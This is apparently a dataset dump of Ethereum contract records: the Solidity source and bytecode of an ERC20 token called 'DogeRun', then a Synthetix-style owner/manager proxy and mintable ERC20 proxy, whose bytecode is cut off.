* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract DogeRun is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _initialSupply = 7777777777;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() {
_name = "DogeRun Token";
_symbol = "DOGER";
_mint(msg.sender, _initialSupply * 10**_decimals);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e43565b60405180910390f35b6100e660048036038101906100e19190610c91565b610308565b6040516100f39190610e28565b60405180910390f35b610104610326565b6040516101119190610f45565b60405180910390f35b610134600480360381019061012f9190610c42565b610330565b6040516101419190610e28565b60405180910390f35b610152610428565b60405161015f9190610f60565b60405180910390f35b610182600480360381019061017d9190610c91565b61043f565b60405161018f9190610e28565b60405180910390f35b6101b260048036038101906101ad9190610bdd565b6104eb565b6040516101bf9190610f45565b60405180910390f35b6101d0610533565b6040516101dd9190610e43565b60405180910390f35b61020060048036038101906101fb9190610c91565b6105c5565b60405161020d9190610e28565b60405180910390f35b610230600480360381019061022b9190610c91565b6106b0565b60405161023d9190610e28565b60405180910390f35b610260600480360381019061025b9190610c06565b6106ce565b60405161026d9190610f45565b60405180910390f35b60606003805461028590611075565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611075565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610755565b848461075d565b6001905092915050565b6000600254905090565b600061033d848484610928565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610755565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec5565b60405180910390fd5b61041c85610414610755565b85840361075d565b60019150509392505050565b6000600560009054906101000a900460ff16905090565b60006104e161044c610755565b84846001600061045a610755565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104dc9190610f97565b61075d565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461054290611075565b80601f016020809104026020016040519081016040528092919081815260200182805461056e90611075565b80156105bb5780601f10610590576101008083540402835291602001916105bb565b820191906000526020600020905b81548152906001019060200180831161059e57829003601f168201915b5050505050905090565b600080600160006105d4610755565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068890610f25565b60405180910390fd5b6106a561069c610755565b8585840361075d565b600191505092915050565b60006106c46106bd610755565b8484610928565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490610f05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561083d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083490610e85565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091b9190610f45565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098f90610ee5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90610e65565b60405180910390fd5b610a13838383610ba9565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9090610ea5565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2c9190610f97565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b909190610f45565b60405180910390a3610ba3848484610bae565b50505050565b505050565b505050565b600081359050610bc28161133f565b92915050565b600081359050610bd781611356565b92915050565b600060208284031215610bef57600080fd5b6000610bfd84828501610bb3565b91505092915050565b60008060408385031215610c1957600080fd5b6000610c2785828601610bb3565b9250506020610c3885828601610bb3565b9150509250929050565b600080600060608486031215610c5757600080fd5b6000610c6586828701610bb3565b9350506020610c7686828701610bb3565b9250506040610c8786828701610bc8565b9150509250925092565b60008060408385031215610ca457600080fd5b6000610cb285828601610bb3565b9250506020610cc385828601610bc8565b9150509250929050565b610cd681610fff565b82525050565b6000610ce782610f7b565b610cf18185610f86565b9350610d01818560208601611042565b610d0a81611105565b840191505092915050565b6000610d22602383610f86565b9150610d2d82611116565b604082019050919050565b6000610d45602283610f86565b9150610d5082611165565b604082019050919050565b6000610d68602683610f86565b9150610d73826111b4565b604082019050919050565b6000610d8b602883610f86565b9150610d9682611203565b604082019050919050565b6000610dae602583610f86565b9150610db982611252565b604082019050919050565b6000610dd1602483610f86565b9150610ddc826112a1565b604082019050919050565b6000610df4602583610f86565b9150610dff826112f0565b604082019050919050565b610e138161102b565b82525050565b610e2281611035565b82525050565b6000602082019050610e3d6000830184610ccd565b92915050565b60006020820190508181036000830152610e5d8184610cdc565b905092915050565b60006020820190508181036000830152610e7e81610d15565b9050919050565b60006020820190508181036000830152610e9e81610d38565b9050919050565b60006020820190508181036000830152610ebe81610d5b565b9050919050565b60006020820190508181036000830152610ede81610d7e565b9050919050565b60006020820190508181036000830152610efe81610da1565b9050919050565b60006020820190508181036000830152610f1e81610dc4565b9050919050565b60006020820190508181036000830152610f3e81610de7565b9050919050565b6000602082019050610f5a6000830184610e0a565b92915050565b6000602082019050610f756000830184610e19565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610fa28261102b565b9150610fad8361102b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fe257610fe16110a7565b5b828201905092915050565b6000610ff88261100b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611060578082015181840152602081019050611045565b8381111561106f576000848401525b50505050565b6000600282049050600182168061108d57607f821691505b602082108114156110a1576110a06110d6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61134881610fed565b811461135357600080fd5b50565b61135f8161102b565b811461136a57600080fd5b5056fea26469706673582212201bb778f5c3a1a143921bb7ae9d84245901023279d9beac49e9442bedc3dee73264736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 5,375 |
0xE14c7a1B3cA8196dd8Fd4116F73756FE4d39A79A
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
contract OwnedwManager {
address public owner;
address public manager;
address public nominatedOwner;
constructor(address _owner, address _manager) {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
manager = _manager;
emit OwnerChanged(address(0), _owner);
emit ManagerChanged(_manager);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
modifier onlyManager {
_onlyManager();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
function _onlyManager() private view {
require(msg.sender == manager, "Only the contract owner may perform this action");
}
function setManager(address _manager) external onlyOwner {
manager = _manager;
emit ManagerChanged(_manager);
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
event ManagerChanged(address newManager);
}
interface IERC20 {
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Proxy is OwnedwManager {
Proxyable public target;
constructor(address _owner) OwnedwManager(_owner, _owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
fallback() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize())
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas(), sload(target.slot), callvalue(), free_ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(free_ptr, 0, size)
if iszero(result) {
revert(free_ptr, size)
}
return(free_ptr, size)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
abstract contract Proxyable is OwnedwManager {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
contract ProxyERC20 is Proxy, IERC20 {
constructor(address _owner) public Proxy(_owner) {}
// ------------- ERC20 Details ------------- //
function name() public override view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).name();
}
function symbol() public override view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).symbol();
}
function decimals() public override view returns (uint8) {
// Immutable static call from target contract
return IERC20(address(target)).decimals();
}
// ------------- ERC20 Interface ------------- //
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public override view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).totalSupply();
}
/**
* @dev Gets the balance of the specified address.
* @param account The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address account) public override view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).balanceOf(account);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).allowance(owner, spender);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transfer(to, value);
// Event emitting will occur via Proxy._emit()
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).approve(spender, value);
// Event emitting will occur via Proxy._emit()
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public override returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transferFrom(from, to, value);
// Event emitting will occur via Proxy._emit()
return true;
}
}
interface IElysian {
function mint(uint _amount, address _recipient, bool _isEscrowed) external returns (bool);
}
contract ProxyERC20Mintable is ProxyERC20 {
constructor(address _owner) public ProxyERC20(_owner) {}
function mint(uint amount, address dst, bool isEscrowed) external returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IElysian(address(target)).mint(amount, dst, isEscrowed);
// Event emitting will occur via Proxy._emit()
return true;
}
}
|
0x6080604052600436106101185760003560e01c8063776d1a01116100a0578063a9059cbb11610064578063a9059cbb146106f6578063ba365d7e14610767578063d0ebdbe7146107e4578063d4b8399214610835578063dd62ed3e1461087657610119565b8063776d1a011461050557806379ba5097146105565780638da5cb5b1461056d578063907dff97146105ae57806395d89b411461066657610119565b806323b872dd116100e757806323b872dd1461035f578063313ce567146103f0578063481c6a751461041e57806353a47bb71461045f57806370a08231146104a057610119565b806306fdde03146101e2578063095ea7b3146102725780631627540c146102e357806318160ddd1461033457610119565b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156101a457600080fd5b505af11580156101b8573d6000803e3d6000fd5b5050505060405136600082376000803683346003545af13d806000843e816101de578083fd5b8083f35b3480156101ee57600080fd5b506101f76108fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023757808201518184015260208101905061021c565b50505050905090810190601f1680156102645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027e57600080fd5b506102cb6004803603604081101561029557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a63565b60405180821515815260200191505060405180910390f35b3480156102ef57600080fd5b506103326004803603602081101561030657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be1565b005b34801561034057600080fd5b50610349610c7a565b6040518082815260200191505060405180910390f35b34801561036b57600080fd5b506103d86004803603606081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d24565b60405180821515815260200191505060405180910390f35b3480156103fc57600080fd5b50610405610ec1565b604051808260ff16815260200191505060405180910390f35b34801561042a57600080fd5b50610433610f6b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046b57600080fd5b50610474610f91565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ac57600080fd5b506104ef600480360360208110156104c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb7565b6040518082815260200191505060405180910390f35b34801561051157600080fd5b506105546004803603602081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611084565b005b34801561056257600080fd5b5061056b61111d565b005b34801561057957600080fd5b50610582611316565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ba57600080fd5b50610664600480360360c08110156105d157600080fd5b81019080803590602001906401000000008111156105ee57600080fd5b82018360208201111561060057600080fd5b8035906020019184600183028401116401000000008311171561062257600080fd5b9091929391929390803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919050505061133a565b005b34801561067257600080fd5b5061067b6114c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106bb5780820151818401526020810190506106a0565b50505050905090810190601f1680156106e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561070257600080fd5b5061074f6004803603604081101561071957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061162d565b60405180821515815260200191505060405180910390f35b34801561077357600080fd5b506107cc6004803603606081101561078a57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506117ab565b60405180821515815260200191505060405180910390f35b3480156107f057600080fd5b506108336004803603602081101561080757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611934565b005b34801561084157600080fd5b5061084a6119cd565b604051808273ffffffffffffffffffffff